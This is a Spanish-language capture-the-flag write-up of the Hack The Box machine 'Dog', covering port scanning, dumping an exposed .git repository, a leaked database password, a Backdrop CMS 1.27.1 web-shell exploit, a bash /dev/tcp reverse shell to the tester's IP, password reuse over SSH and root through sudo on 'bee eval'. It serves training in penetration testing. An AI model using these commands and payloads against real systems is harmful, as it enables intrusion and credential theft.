Dog

Reconnaissance
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Dog
. Este resultado lo almacenaremos en un archivo llamado allPorts
.
❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.58 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-21 18:13 CET
Initiating SYN Stealth Scan at 18:13
Scanning 10.10.11.58 [65535 ports]
Discovered open port 22/tcp on 10.10.11.58
Discovered open port 80/tcp on 10.10.11.58
Completed SYN Stealth Scan at 18:13, 18.13s elapsed (65535 total ports)
Nmap scan report for 10.10.11.58
Host is up, received user-set (0.062s latency).
Scanned at 2025-03-21 18:13:17 CET for 18s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 18.25 seconds
Raw packets sent: 65776 (2.894MB) | Rcvd: 65785 (2.632MB)
A través de la herramienta de extractPorts
, la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap
. Esta herramienta nos copiará en la clipboard los puertos encontrados.
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.58
[*] Open ports: 22,80
[*] Ports copied to clipboard
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Apache
con un directorio /.git/
y el servicio de SSH
.
❯ nmap -sCV -p22,80 10.10.11.58 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-21 18:14 CET
Nmap scan report for 10.10.11.58
Host is up (0.083s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_ 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-git:
| 10.10.11.58:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: todo: customize url aliases. reference:https://docs.backdro...
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin
| /comment/reply /filter/tips /node/add /search /user/register
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-title: Home | Dog
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 91.17 ms 10.10.16.1
2 45.90 ms 10.10.11.58
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.76 seconds
Transformaremos el archivo generado targetedXML
para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Accederemos a http://localhost y verificaremos el resultado en un formato más cómodo para su análisis.

Web Enumeration
Accederemos a http://10.10.11.58 y comprobaremos las siguientes páginas web. Se trata de una página web relacionada con un blog sobre la obesidad en los perros. Nos ofrece un portal de inicio de sesión en la página web. Por otro lado, también confirmamos que está montado a través de Backdrop CMS
.
Por otro lado, en la página de About
, nos encontramos con un correo electrónico con un nombre de dominio llamado dog.htb
.

Initial Access
Downloading Git Folder disclosure
En el escaneo a través de Nma
, nos encontramos con un directorio /.git
expuesto en la página web. A través de la herramienta de GitHack
nos descargaremos el repositorio en nuestra máquina local. Verificamos que tiene un total de 458 directorios y 2873 archivos que podremos analizar.
❯ python3 /opt/GitHack/GitHack.py http://10.10.11.58/.git/ 2>/dev/null
[+] Download and parse index file ...
...[SNIP]...
❯ cd 10.10.11.58
❯ tree -a | tail -n 1
458 directories, 2873 files
Information Leakage
Dentro de los archivos que nos hemos descargado del directorio /.git/
, nos encontramos con un archivo llamado settings.php
en el cual aparecen expuestas las credenciales en texto plano del usuario de la base de datos que utiliza la aplicación web.
<?php
/**
* @file
* Main Backdrop CMS configuration file.
*/
/**
* Database configuration:
*
* Most sites can configure their database by entering the connection string
* below. If using primary/replica databases or multiple connections, see the
* advanced database documentation at
* https://api.backdropcms.org/database-configuration
*/
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';
...[SNIP]...
Por otro lado, tratamos de listar nombres de usuarios que se pudieran encontrar en el directorio. Mediante grep -r
buscamos diferentes maneras, a través de username, user, password, passwd
, etc pero no encontramos nada. Realizando una búsqueda recursiva a través del nombre de dominio, nos encontramos con un usuario llamado tiffany@dog.htb
.
❯ grep -r '@dog.htb' * 2>/dev/null
files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json: "tiffany@dog.htb"
Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)
Dentro del contenido del directorio /.git/
que nos hemos encontrado, podemos comprobar un archivo en el cual parece proporcionarnos la versión exacta que utiliza el Backdrop CMS
.
type = module
name = User
description = Manages the user registration and login system.
package = System
tags[] = Account Management
version = BACKDROP_VERSION
backdrop = 1.x
required = TRUE
configure = admin/config/people
stylesheets[all][] = css/user.css
; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662
Realizando una búsqueda a través de la herramienta de searchsploit
, conseguimos encontrar una vulnerabilidad para dicha versión. Además esta vulnerabilidad consiste en obtener un RCE
, el único requisito es estar autenticado en el CMS.
En nuestro caso, tenemos un posible usuario válido (tiffany
) y unas credenciales de la base de datos que muy probablemente se reutilicen o no.
❯ searchsploit BackDrop CMS 1.27.1
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE) | php/webapps/52021.py
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Nos copiaremos el exploit que nos proporciona searchsploit
a nuestro directorio actual de trabajo.
❯ searchsploit -m php/webapps/52021.py
Exploit: Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)
URL: https://www.exploit-db.com/exploits/52021
Path: /usr/share/exploitdb/exploits/php/webapps/52021.py
Codes: N/A
Verified: True
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /home/gzzcoo/Desktop/HackTheBox/Linux/Dog/content/52021.py
❯ ls -l 52021.py
.rwxr-xr-x gzzcoo gzzcoo 2.5 KB Fri Mar 21 18:31:08 2025 52021.py
Al ejecutar el exploit, nos proporciona un archivo shell.zip
y las instrucciones para realizar la explotación. Básicamente deberemos subir este nuevo módulo en el CMS y se nos proporcionará una especie de web shell.
❯ python3 52021.py http://10.10.11.58
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.zip
Go to http://10.10.11.58/admin/modules/install and upload the shell.zip for Manual Installation.
Your shell address: http://10.10.11.58/modules/shell/shell.php
❯ ls -l shell.zip
.rw-rw-r-- gzzcoo gzzcoo 1.1 KB Fri Mar 21 18:32:00 2025 shell.zip
Accederemos a http://10.10.11.58/?q=user/login y trateremos de autenticarnos con el usuario y la contraseña encontrada para verificar si podemos acceder al CMS.

Verificamos que las credenciales se reutilizaban y el usuario tiffany
era válido para acceder. El siguiente paso será acceder a http://10.10.11.58/?q=admin/modules/install y darle a la opción de Manual Installation
para subir el módulo malicioso.

En el siguiente apartado, deberemos de subir el shell.zip
en el apartado de Upload a module...
.
IMPORTANTE: no tenemos que rellenar ninguno de los campos anteriores, solamente subir el comprimido.

Al tratar de subir el archivo shell.zip
, la aplicación web nos indica que solamente están permitidos los archivos con extensión tar tgz gz bz2
.

Descomprimiremos nuestro archivo malicioso shell.zip
y lo volveremos a comprimir en el formato adecuado.
❯ unzip shell.zip
Archive: shell.zip
extracting: shell/shell.info
extracting: shell/shell.php
❯ tar -czf shell.tar.gz shell/
❯ ls -l shell.tar.gz
.rw-rw-r-- gzzcoo gzzcoo 678 B Fri Mar 21 18:37:35 2025 shell.tar.gz
Al repetir el proceso subiendo este nuevo archivo shell.tar.gz
, se nos indica que el módulo se ha instalado correctamente en el CMS.

Acceeremos a la ruta que se nos indicaba al generar el módulo malicioso (http://10.10.11.58/modules/shell/shell.php) y comprobaremos que disponemos de una web shell. Trataremos de ejecutar el comando whoami
y nos devuelve el resultado del comando realizado.
Con lo cual, tenemos una vía potencial para ejecutar comando arbitrario en el equipo vulnerable.

El siguiente paso será lograr obtener una Reverse Shell y ganar acceso al sistema. Para ello, nos pondremos en escucha con nc
para recibir la conexión.
❯ nc -nlvp 443
listening on [any] 443 ...
Codificaremos el comando de la Reverse Shell que necesitaremos ejecutar en la web shell
. Una vez aplicado el URL Encode
, a través de cURL
realizaremos la solicitud para proporcionarnos la Reverse Shell a través de la web shell
subida.
❯ echo -n '/bin/bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' | jq -sRr @uri
%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.2%2F443%200%3E%261%22
❯ curl -s 'http://10.10.11.58/modules/shell/shell.php?cmd=%2Fbin%2Fbash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.2%2F443%200%3E%261%22'
Verificamos que hemos ganado acceso al equipo vulnerable y nos encontramos actualmente con el usuario www-data
.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.58] 55796
bash: cannot set terminal process group (916): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
whoami
www-data
Initial Access
Database Enumeration
En este caso, disponemos de las credenciales del usuario de la base de datos, estas credenciales las encontramos en el archivo settings.php
con las cuales realizaremos una enumeración de la base de datos.
Nos encontramos con una tabla interesantes llamada users
.
bash-5.0$ mysql -h localhost -u root -p'BackDropJ2024DS2024' -D "backdrop" -e "show tables;"
<ackDropJ2024DS2024' -D "backdrop" -e "show tables;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+-----------------------------+
| Tables_in_backdrop |
+-----------------------------+
| batch |
...[SNIP]...
| system |
| taxonomy_index |
| taxonomy_term_data |
| taxonomy_term_hierarchy |
| tempstore |
| url_alias |
| users |
| users_roles |
| variable |
| watchdog |
+-----------------------------+
Al revisar la tabla users
, localizamos diferentes usuarios con contraseñas hasheadas. Intentamos crackear estas credenciales pero no logramos obtener resultado positivo.
bash-5.0$ mysql -h localhost -u root -p'BackDropJ2024DS2024' -D "backdrop" -e "SELECT * FROM users;"
<2024DS2024' -D "backdrop" -e "SELECT * FROM users;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
| uid | name | pass | mail | signature | signature_format | created | changed | access | login | status | timezone | language | picture | init | data |
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
| 0 | | | | | NULL | 0 | 0 | 0 | 0 | 0 | NULL | | 0 | | NULL |
| 1 | jPAdminB | $S$E7dig1GTaGJnzgAXAtOoPuaTjJ05fo8fH9USc6vO87T./ffdEr/. | jPAdminB@dog.htb | | NULL | 1720548614 | 1720584122 | 1720714603 | 1720584166 | 1 | UTC | | 0 | jPAdminB@dog.htb | 0x623A303B |
| 2 | jobert | $S$E/F9mVPgX4.dGDeDuKxPdXEONCzSvGpjxUeMALZ2IjBrve9Rcoz1 | jobert@dog.htb | | NULL | 1720584462 | 1720584462 | 1720632982 | 1720632780 | 1 | UTC | | 0 | jobert@dog.htb | NULL |
| 3 | dogBackDropSystem | $S$EfD1gJoRtn8I5TlqPTuTfHRBFQWL3x6vC5D3Ew9iU4RECrNuPPdD | dogBackDroopSystem@dog.htb | | NULL | 1720632880 | 1720632880 | 1723752097 | 1723751569 | 1 | UTC | | 0 | dogBackDroopSystem@dog.htb | NULL |
| 5 | john | $S$EYniSfxXt8z3gJ7pfhP5iIncFfCKz8EIkjUD66n/OTdQBFklAji. | john@dog.htb | | NULL | 1720632910 | 1720632910 | 0 | 0 | 1 | UTC | | 0 | john@dog.htb | NULL |
| 6 | morris | $S$E8OFpwBUqy/xCmMXMqFp3vyz1dJBifxgwNRMKktogL7VVk7yuulS | morris@dog.htb | | NULL | 1720632931 | 1720632931 | 0 | 0 | 1 | UTC | | 0 | morris@dog.htb | NULL |
| 7 | axel | $S$E/DHqfjBWPDLnkOP5auHhHDxF4U.sAJWiODjaumzxQYME6jeo9qV | axel@dog.htb | | NULL | 1720632952 | 1720632952 | 0 | 0 | 1 | UTC | | 0 | axel@dog.htb | NULL |
| 8 | rosa | $S$EsV26QVPbF.s0UndNPeNCxYEP/0z2O.2eLUNdKW/xYhg2.lsEcDT | rosa@dog.htb | | NULL | 1720632982 | 1720632982 | 0 | 0 | 1 | UTC | | 0 | rosa@dog.htb | NULL |
| 10 | tiffany | $S$EEAGFzd8HSQ/IzwpqI79aJgRvqZnH4JSKLv2C83wUphw0nuoTY8v | tiffany@dog.htb | | NULL | 1723752136 | 1723752136 | 1742578785 | 1742578596 | 1 | UTC | | 0 | tiffany@dog.htb | NULL |
+-----+-------------------+---------------------------------------------------------+----------------------------+-----------+------------------+------------+------------+------------+------------+--------+----------+----------+---------+----------------------------+------------+
Password Reuse
Revisando los usuarios del equipo que disponen de bash
y de un directorio personal en /home
nos encontramos con dos usuarios.
bash-5.0$ cat /etc/passwd | grep bash
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash
bash-5.0$ ls -l /home
ls -l /home
total 8
drwxr-xr-x 4 jobert jobert 4096 Feb 7 15:59 jobert
drwxr-xr-x 3 johncusack johncusack 4096 Mar 21 14:15 johncusack
Probamos de verificar si el usuario johncusack
reutilizaba las credenciales encontradas en el archivo settings.php
. Finalmente logramos conectarnos y verificar la flag user.txt.
❯ sshpass -p 'BackDropJ2024DS2024' ssh johncusack@10.10.11.58
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-208-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Fri 21 Mar 2025 05:49:38 PM UTC
System load: 0.0
Usage of /: 49.3% of 6.32GB
Memory usage: 21%
Swap usage: 0%
Processes: 238
Users logged in: 0
IPv4 address for eth0: 10.10.11.58
IPv6 address for eth0: dead:beef::250:56ff:fe94:1884
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Fri Mar 21 17:49:39 2025 from 10.10.16.2
johncusack@dog$ cat user.txt
2721e***************************
Privilege Escalation
Abusing privileges sudoers (bee)
Revisando si el usuario johncusack
dispone de algún permiso de sudoers
, nos encontramos que puede ejecutar el binario/usr/local/bin/bee
como el usuario sudo
.
johncusack@dog:~$ sudo -l
[sudo] password for johncusack:
Matching Defaults entries for johncusack on dog:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User johncusack may run the following commands on dog:
(ALL : ALL) /usr/local/bin/bee
Revisando el funcionamiento de la herramienta, nos encontramos con algunos parámetros bastente interesantes.
Según nos indica la herramienta, a través de la función eval
podríamos ejecutar código PHP
o mediante php-script
ejecutar un script en PHP
.
johncusack@dog:~$ sudo /usr/local/bin/bee -h
🐝 Bee
Usage: bee [global-options] <command> [options] [arguments]
Global Options:
--root
Specify the root directory of the Backdrop installation to use. If not set, will try to find the Backdrop installation automatically based on the current directory.
--site
Specify the directory name or URL of the Backdrop site to use (as defined in 'sites.php'). If not set, will try to find the Backdrop site automatically based on the current directory.
--base-url
Specify the base URL of the Backdrop site, such as https://example.com. May be useful with commands that output URLs to pages on the site.
--yes, -y
Answer 'yes' to questions without prompting.
--debug, -d
Enables 'debug' mode, in which 'debug' and 'log' type messages will be displayed (in addition to all other messages).
Commands:
...[SNIP]...
ADVANCED
db-query
dbq
Execute a query using db_query().
eval
ev, php-eval
Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.
php-script
scr
Execute an arbitrary PHP file after bootstrapping Backdrop.
sql
sqlc, sql-cli, db-cli
Open an SQL command-line interface using Backdrop's database credentials.
Al intentar ejecutar la siguiente instrucción para ejecutar un whoami
, se nos indicaba que eval is not ready
. Esto es debido que no nos encontramos en el directorio donde está instalado y configurado el Backdrop CMS
.
johncusack@dog:~$ sudo /usr/local/bin/bee eval "system('whoami');"
✘ The required bootstrap level for 'eval' is not ready.
Accederemos al directorio donde está configurado el Backdrop
y al volver a ejecutar el comando, se nos indica que somos root
. Esto debido que estamos ejecutando el binario a través de sudo
debido que disponemos de permisos de sudoers
sobre dicho binario.
johncusack@dog:~$ cd /var/www/html/
johncusack@dog:/var/www/html$ sudo /usr/local/bin/bee eval "system('whoami');"
root
Por lo tanto. nos otorgaremos una /bin/bash
y comprobamos que tenemos una shell como usuario root
y podemos leer la flag root.txt.
johncusack@dog:/var/www/html$ sudo /usr/local/bin/bee eval "system('/bin/bash');"
root@dog:/var/www/html# whoami
root
root@dog:/var/www/html# cat /root/root.txt
f9491b**************************
Última actualización
¿Te fue útil?